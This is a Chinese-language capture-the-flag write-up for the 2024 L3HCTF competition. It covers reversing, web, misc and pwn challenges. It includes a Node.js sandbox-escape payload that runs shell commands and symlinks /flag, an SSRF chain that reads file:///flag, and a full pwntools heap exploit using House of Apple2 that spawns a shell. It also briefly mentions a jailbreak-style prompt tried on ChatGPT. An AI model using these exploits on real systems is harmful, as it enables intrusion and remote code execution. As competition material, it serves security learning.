0xF0 0xE0 //putchar0xD0 //getchar0xC0 //shlshr???0xB0 //or0xA0 //and0x90 //xor0x80 //sub0x70 //add0x60 //dup0x50 //pop0x40 //push0x300x200x10 //pushimm

条件断点脚本

# 4023AE subimport struct
rbp = ida_dbg.get_reg_val('rbp')rsp = ida_dbg.get_reg_val('rsp')
stk2_addr = ida_bytes.get_qword(0x406050)stk2_size = ida_bytes.get_dword(0x406050+8)
size = ida_bytes.get_byte(rbp-0x15C)stk2_data = ida_bytes.get_bytes(stk2_addr+stk2_size-size*2, size*2)
if size == 4: v1, v2 = struct.unpack('<2I', stk2_data) v = (v1-v2)&0xFFFFFFFF print(f'0x{v1:08X}-0x{v2:08X}=0x{v:08X}')elif size == 1: v1, v2 = struct.unpack('<2B', stk2_data) v = (v1-v2)&0xFF print(f'0x{v1:02X}-0x{v2:02X}=0x{v:02X}')else: print(f'{size=:#X}')return 0
# 4021ED addimport struct
rbp = ida_dbg.get_reg_val('rbp')rsp = ida_dbg.get_reg_val('rsp')
stk2_addr = ida_bytes.get_qword(0x406050)stk2_size = ida_bytes.get_dword(0x406050+8)
size = ida_bytes.get_byte(rbp-0x15C)stk2_data = ida_bytes.get_bytes(stk2_addr+stk2_size-size*2, size*2)
if size == 4: v1, v2 = struct.unpack('<2I', stk2_data) v = (v1+v2)&0xFFFFFFFF print(f'0x{v1:08X}+0x{v2:08X}=0x{v:08X}')elif size == 1: v1, v2 = struct.unpack('<2B', stk2_data) v = (v1+v2)&0xFF print(f'0x{v1:02X}+0x{v2:02X}=0x{v:02X}')else: print(f'{size=:#X}')return 0
# 402571 xorimport struct
rbp = ida_dbg.get_reg_val('rbp')rsp = ida_dbg.get_reg_val('rsp')
stk2_addr = ida_bytes.get_qword(0x406050)stk2_size = ida_bytes.get_dword(0x406050+8)
size = ida_bytes.get_byte(rbp-0x15C)stk2_data = ida_bytes.get_bytes(stk2_addr+stk2_size-size*2, size*2)
if size == 4: v1, v2 = struct.unpack('<2I', stk2_data) v = (v1^v2)&0xFFFFFFFF print(f'0x{v1:08X}^0x{v2:08X}=0x{v:08X}')elif size == 1: v1, v2 = struct.unpack('<2B', stk2_data) v = (v1^v2)&0xFF print(f'0x{v1:02X}^0x{v2:02X}=0x{v:02X}')else: print(f'{size=:#X} xor {stk2_data[:size].hex()}^{stk2_data[size:].hex()}')return 0

分析记录数据

算法很简单,结合上下文就能推出来。

0x00000000+0x9E3779B9=0x9E3779B9  sum    0x31313131^0x9E3779B9=0xAF064888  t0 = inp[(j+1)%8]^sum    0xAF064888+0x547FA369=0x0385EBF1  t1 = t0+keys[j]    0xB9B9B9B8^0x0385EBF1=0xBA3C5249  t2 = (inp[(j+7)%8]<<3)^t1    0x01898989^0xBA3C5249=0xBBB5DBC0  t3 = (inp[(j+1)%8]>>5)^t2    0x30303030+0xBBB5DBC0=0xEBE60BF0  inp[j] = inp[j]+t3
0x32323232^0x9E3779B9=0xAC054B8B t0 = inp[(j+1)%8]^sum 0xAC054B8B+0x43AF51A7=0xEFB49D32 t1 = t0+keys[j] 0x5F305F80^0xEFB49D32=0xB084C2B2 t2 = (inp[(j+7)%8]<<3)^t1 0x01919191^0xB084C2B2=0xB1155323 t3 = (inp[(j+1)%8]>>5)^t2 0x31313131+0xB1155323=0xE2468454 inp[j] = inp[j]+t3 ... ...

加密

#include <stdio.h>#include <stdint.h>#include <memory.h>#include <string.h>
#define DELTA 0x9E3779B9uint32_t keys[] = {0x547FA369, 0x43AF51A7, 0xEE8F66C7, 0x265BFED5, 0xDA138396, 0xE98434B5, 0x84A65177, 0x4B6A084B};
int main(){ uint32_t inp[] = { 0x30303030, 0x31313131, 0x32323232, 0x33333333, 0x34343434, 0x35353535, 0x36363636, 0x37373737, }; uint32_t sum = 0; for (int i = 0; i < 32; i++) { sum += DELTA; for (int j = 0; j < 8; j++) { uint32_t t1 = (inp[(j + 1) % 8] ^ sum) + keys[j]; uint32_t t2 = (inp[(j + 7) % 8] << 3) ^ t1; uint32_t t3 = (inp[(j + 1) % 8] >> 5) ^ t2; uint32_t t4 = inp[j] + t3; inp[j] = t4; printf("%08X %08X %08X %08Xn", t1, t2, t3, t4); } printf("n"); } return 0;}

解密

#include <stdio.h>#include <stdint.h>#include <memory.h>#include <string.h>
#define DELTA 0x9E3779B9uint32_t keys[] = {0x547FA369, 0x43AF51A7, 0xEE8F66C7, 0x265BFED5, 0xDA138396, 0xE98434B5, 0x84A65177, 0x4B6A084B};
unsigned char sec[32] = { 0x3E, 0x55, 0xBC, 0x81, 0x09, 0x71, 0xBA, 0x74, 0x98, 0x81, 0x47, 0xBD, 0xE6, 0x3D, 0x56, 0x45, 0x61, 0xC6, 0xE8, 0x62, 0xDA, 0x79, 0x0B, 0xD0, 0xCE, 0xD3, 0x2F, 0xB1, 0x03, 0x02, 0x16, 0xF5};
int main(){ uint32_t inp[8] = {}; uint32_t sum = 0;
memcpy(inp, sec, 32); sum = DELTA * 32; for (int i = 0; i < 32; i++) { for (int j = 7; j >= 0; j--) { uint32_t t1 = (inp[(j + 1) % 8] ^ sum) + keys[j]; uint32_t t2 = (inp[(j + 7) % 8] << 3) ^ t1; uint32_t t3 = (inp[(j + 1) % 8] >> 5) ^ t2; inp[j] -= t3; } sum -= DELTA; } printf("%sn", (char *)inp); // L3HSEC{f1751f5a3d69ab5ac2fe24e2} return 0;}

WEB

intractable problem

引号绕过

def factorization(n: string) -> tuple[int]:  return 1
'''import os,reapath=''for maindir, subdir, file_name_list in os.walk('./upload'): for filename in file_name_list: apath = os.path.join(maindir, filename)with open(apath) as f: result = f.read()a=re.findall("print("(.*)",end",result)print(a[0].strip('n'),end='')exit()'''

short url 

先生成 http://127.0.0.1:8080/private;/?url=file:///flag 的短连接,获取到code 343Vc3Pp

POST /share HTTP/1.1Host: 1.95.4.251:57080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/122.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://1.95.4.251:57080/index.htmlContent-Type: multipart/form-data; boundary=---------------------------37793646909882801254246749615Content-Length: 219Origin: http://1.95.4.251:57080Connection: close
-----------------------------37793646909882801254246749615Content-Disposition: form-data; name="link"
http://127.0.0.1:8080/private;/?url=file:///flag-----------------------------37793646909882801254246749615--

然后生成刚刚那个code的链接,获得新的code 6vpV94gs

POST /share HTTP/1.1Host: 1.95.4.251:57080User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/122.0Accept: */*Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateReferer: http://1.95.4.251:57080/index.htmlContent-Type: multipart/form-data; boundary=---------------------------338039072036276342481128854713Content-Length: 217Origin: http://1.95.4.251:57080Connection: close
-----------------------------338039072036276342481128854713Content-Disposition: form-data; name="link"
http://127.0.0.1:8080/jump?redirect=343Vc3Pp-----------------------------338039072036276342481128854713--

然后访问

http://1.95.4.251:57080/test;/?redirect=6vpV94gs

可以获取到flag

l3hctf{W3lc0M3_D0_Y0U_L0v3_5h0R7_uRL}

escape-web

首先需要进行沙箱逃逸

const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');obj = {    [customInspectSymbol]: (depth, opt, inspect) => {        console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync('ls').toString());    },    valueOf: undefined,    constructor: undefined,}WebAssembly.compileStreaming(obj).catch(()=>{});

如此可以命令执行并且回显

尝试多种docker逃逸方式无果后 猜测可能存在将主机上的文件映射到容器中的情况

发现可以直接通过对output.txt或error.txt软连接 获取flag

const customInspectSymbol = Symbol.for('nodejs.util.inspect.custom');
obj = { [customInspectSymbol]: (depth, opt, inspect) => { console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync('rm /app/output.txt').toString()); console.log(inspect.constructor('return process')().mainModule.require('child_process').execSync('ln -s /flag /app/output.txt').toString()); }, valueOf: undefined, constructor: undefined,}
WebAssembly.compileStreaming(obj).catch(()=>{});
2024 L3HCTF writeup by Arr3stY0u

MISC

end_of_programming

通过对题目的分析“请输入prompt,使得ChatGPT可以写出C++代码解决上面的算法问题。请注意,您不可以在prompt里包含任何代码,您的prompt将由ChatGPT检查。“可以得到解题思路为,通过对以下题目让GPT写出对应脚本,接着GPT自动检测脚本是否符合题目要求,若符合则输出flag

2024 L3HCTF writeup by Arr3stY0u

首先使用祖母大法调教GPT,发现收获无果

2024 L3HCTF writeup by Arr3stY0u

所得的C++脚本不正确,无法获得flag

根据题目分析,运用贪心算法进行编写c++代码即可满足题目内涵的要求,编写GPT内容“你可以以贪心的角度,将所有菜从小到大依次考虑。对于每道菜,优先满足挑食的帕鲁(只吃素菜或者只吃荤菜),如果都满足了再满足不挑食的帕鲁,如果都不需要满足则不买这道菜”使GPT编写满足条件的代码,得到flag

2024 L3HCTF writeup by Arr3stY0u

RAWaterMark

参考:

https://blog.csdn.net/dcrmg/article/details/105124898

找到可以解析的库,翻了翻有俩函数postprocess和raw_image_visible能获取rgb值

2024 L3HCTF writeup by Arr3stY0u

接着根据题目描述加是个图像文件盲猜lsb

import rawpyimport numpy as npopenpath = 'image.ARW'
with rawpy.imread(openpath) as raw: bayer_visible = raw.raw_image_visible lsb_array = np.bitwise_and(bayer_visible, 1) lsb_array_flat = lsb_array.flatten() hidden_message = ''.join(map(str, lsb_array_flat))print(hidden_message)

2024 L3HCTF writeup by Arr3stY0u

PWN

treasure_hunter

开局送一个0x410大小的tcache_chunk。

2024 L3HCTF writeup by Arr3stY0u

一处明显的10个字节的堆溢出,还有消耗30金币能泄露堆地址。

2024 L3HCTF writeup by Arr3stY0u

SwissTable结构

struct vec{  uint64_t begin;  uint64_t end;  uint64_t cap;};struct SwissTable{  vec *kv_pairs;  vec *groups; // control_bytes  uint64_t size;};

购买梦想后能修改swisstable的控制字节。

2024 L3HCTF writeup by Arr3stY0u

调试查看堆布局可以发现白给的tcache_chunk后面跟着的是hashmap(SwissTable)结构。

malloc(0x408)重新分配到这个chunk配合10字节的溢出,刚好能覆盖 SwissTable.kv_pairs 低位地址。

2024 L3HCTF writeup by Arr3stY0u

get_or_put函数拥有单字节读写功能,并且没有边界判断。

2024 L3HCTF writeup by Arr3stY0u

只要能伪造hashmap(SwissTable),往里面添加原本不存在的key,就能构造出任意地址读写。

2024 L3HCTF writeup by Arr3stY0u

需要同时伪造kv_pairs中的key和groups中的控制字节,满足查找条件。

h = u64(sha256(p64(key)).digest()[:8])h1 = h>>4h2 = h>>57 # control byteslot = (h1%(vec1_size//16)) # 16个为一组

2024 L3HCTF writeup by Arr3stY0u

利用流程:

1. 获取金币,购买梦想泄露堆地址。

2. 堆溢出覆盖swisstable.kv_pairs地址,伪造kv_pairs。

3. 购买梦想修改swisstable.groups,往里面添加对应key所需控制字节,

4. 伪造swisstable通过field[key]得到任意读写能力后泄露so模块地址。

5. apple2 get_shell。

exp:

from pwn import *from hashlib import sha256
context.terminal = ['wt.exe', 'bash.exe', '-c']p = process('./treasure_hunter')# p = remote('1.95.4.251', 31778)binary = ELF('./treasure_hunter', False)context.binary = binarylibc = ELF('./libc.so.6', False)
sd, sl, sa, sla = p.send, p.sendline, p.sendafter, p.sendlineafterrv, rl, ru = p.recv, p.recvline, p.recvuntilia = p.interactive
def get_or_put(key, choose, n): sla(b"Today, where are we going, captain?n", str(key).encode()) ru(b"Mining...n") res = rl() coin = 0 if b'Congrat' in res: coin = int(res[31:].split(b' ')[0], 10) if choose != b'set': sa(b'for get)n', choose) if choose == b'g' and n < 0: n = coin sla(b'?n', str(n).encode()) else: sa(b'for get)n', b'b' if n > coin else b'g') sla(b'?n', str(abs(n-coin)).encode()) return coin
def record(size, content): sla(b'Content length: ', str(size).encode()) sa(b'Content: ', content) ru(b'bytes.n')
def shop(yes=True): sa(b'mysterious things.n', b'y' if yes else b'n') if yes: ru(b"I bet you won't regret!n")
def write_sth(off, v): ru(b'called flag: ') leak = int(ru(b'x1B[0m', True), 16) sla(b'write: x1B[0m', str(off).encode()) sa(b'Write: n', v) return leak
overflow_init = Falsedef hack(off, new_value=None): global overflow_init vec1_size = 32 h = u64(sha256(p64(off)).digest()[:8]) h1 = h>>4 h2 = h>>57 slot = (h1%(vec1_size//16)) # print(f'{slot=}') # print(hex(h1), hex(h2))
get_or_put(safe_list[-1], b'b', 0) # 0x128F0 fake_vec = flat([ heap_base+0x12910, heap_base+0x12910+16*32, heap_base+0x12910+16*32, 0, # chunksize 0x00000000000008b1, 0x0000000000000000, 0x0000000000000558, 0x0000000000000001, 0x00000000000005da, 0x0000000000000000, 0x0000000000000c18, 0x0000000000000000, 0x0000000000000a9f, 0x0000000000000000, 0x00000000000003b9, 0x0000000000000000, 0x0000000000000ec7, 0x0000000000000001, 0x00000000000000e4, 0x0000000000000001, 0x0000000000000cae, 0x0000000000000000, 0x0000000000000e29, 0x0000000000000001, 0x0000000000000f75, 0x0000000000000000, 0x000000000000031e, 0x0000000000000001, off, 1, # 12 # 0x0000000000000d8e, 0x0000000000000000,
0x0000000000000b30, 0x0000000000000001, 0x0000000000000c4d, 0x0000000000000001, 0x000000000000083b, 0x0000000000000001, 0x00000000000004b3, 0x0000000000000000, 0x0000000000000c6e, 0x0000000000000001, 0x00000000000006c4, 0x0000000000000000, 0x0000000000000d13, 0x0000000000000001, 0x000000000000015d, 0x0000000000000001, 0x0000000000000615, 0x0000000000000001, 0x000000000000024a, 0x0000000000000000, 0x00000000000006e6, 0x0000000000000001, 0x0000000000000e64, 0x0000000000000001, 0x0000000000000259, 0x0000000000000001, 0x00000000000004ec, 0x0000000000000001, 0x00000000000000eb, 0x0000000000000001, off, 1, # 16+12 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, 0x0000000000000000, ]) record(0x3C8, b'V'*16+fake_vec) shop() write_sth(28 if slot==1 else 12, bytes([h2])) sa(b'(y to end exploration)n', b'N')
if not overflow_init: get_or_put(safe_list[-1], b'b', 0) record(0x408, b'A'*0x408+p64(0x21)+p16((heap_base+0x128F0)&0xFFFF)) shop(False) sa(b'(y to end exploration)n', b'N') overflow_init = True if new_value is not None: b = get_or_put(off, b'set', new_value) else: b = get_or_put(off, b'b', 0) sla(b'Content length: ', str(0x9999).encode()) return b
def leak(off): addr = b'' for i in range(5): addr += bytes([hack(off+i)]) addr += b'x7Fx00x00' return u64(addr)
def aaw(addr, data): off = (addr-(ld_base+0x37000))&0xFFFFFFFFFFFFFFFF for i in range(len(data)): hack(off+i, data[i])
ru(b'Drawing...n')safe_list = []for i in range(28): ru(b'place ') key = int(ru(b': ', True)) safe = ru(b'safe') == b'safe' if safe: safe_list.append(key)coins = 0for key in safe_list[:10]: coins += get_or_put(key, b'g', -1) print(f'{coins=}') sla(b'Content length: ', str(0x9999).encode())
get_or_put(safe_list[-1], b'b', 0)record(0x3C8, b'V') # chunk for fake_vecshop() heap_base = write_sth(0, b'A')-0x122c0print(f'{heap_base=:#x}')sa(b'(y to end exploration)n', b'N')############################################# leak solibc_base = leak(0x3f18)-0x7e60ld_base = leak(0x3f00)-0x8d8print(f'{libc_base=:#x} {ld_base=:#x}')############################################# apple2
fake_io_addr = heap_base+0x11ec0fake_wide_data_addr = fake_io_addr+0x200
libc.address = libc_base############################################# _IO_list_all = fake_io_addraaw(libc.sym['_IO_list_all'], p64(fake_io_addr)[:6])
if 0: gdb.attach(p, ''' # brva 0x2D56 # brva 0x2C9A # brva 0x2B78 b *_IO_wdoallocbuf c''') sleep(2)
fake_io = FileStructure()fake_io.flags = u32(b' sh')fake_io.vtable = libc_base+0x216F40fake_io._IO_write_base = 0fake_io._IO_write_ptr = 1fake_io._wide_data = fake_wide_data_addr
fake_wide_data = flat({ 0x68: libc.sym['system'], 0xe0: fake_wide_data_addr # wide_data_vtable}, filler=b'x00')payload = flat({ 0: bytes(fake_io), 0x200: fake_wide_data}, filler=b'x00')
get_or_put(safe_list[-1], b'b', 0)record(0x408, b'A'*16+payload)shop(False)
sa(b'(y to end exploration)n', b'y')print(ru(b'precious!'))sl(b'cat /flag')# L3HCTF{W0w_y0u_r3ally_kn0w_5wiss7ab1e}ia()


原文始发于微信公众号(山海之关):2024 L3HCTF writeup by Arr3stY0u

版权声明:admin 发表于 2024年2月6日 上午9:02。
转载请注明:2024 L3HCTF writeup by Arr3stY0u | CTF导航

相关文章